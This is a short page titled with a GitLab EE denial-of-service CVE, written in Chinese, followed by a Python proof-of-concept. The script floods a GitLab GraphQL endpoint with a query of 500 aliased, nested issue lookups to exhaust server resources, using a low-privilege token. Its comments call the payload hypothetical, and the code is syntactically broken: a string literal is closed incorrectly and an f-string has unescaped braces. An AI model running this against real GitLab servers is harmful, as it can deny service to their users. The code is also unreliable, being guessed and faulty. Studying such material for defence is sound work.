CVE-2026-1101 GitLab EE 拒绝服务漏洞

#!/usr/bin/env python3 import requests # Conceptual PoC for CVE-2026-1101 # This script demonstrates how a malicious GraphQL query might be sent. # Actual payload would depend on the specific vulnerable schema. target_url = "https://gitlab.example.com/api/graphql" token = "YOUR_AUTH_TOKEN" # Low privilege user token # Malicious query designed to cause resource exhaustion (e.g., deep nesting or alias explosion) # Note: The specific query structure is hypothetical based on "improper input validation" malicious_query = """ query { project(fullPath: "root/test-project") { %s } } "" % "\n ".join([f"issue{i}: issues { nodes { title author { name } } }" for i in range(500)]) headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } payload = { "query": malicious_query, "variables": {} } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print("Response snippet:", response.text[:200]) except requests.exceptions.RequestException as e: print(f"Request failed (possible DoS): {e}")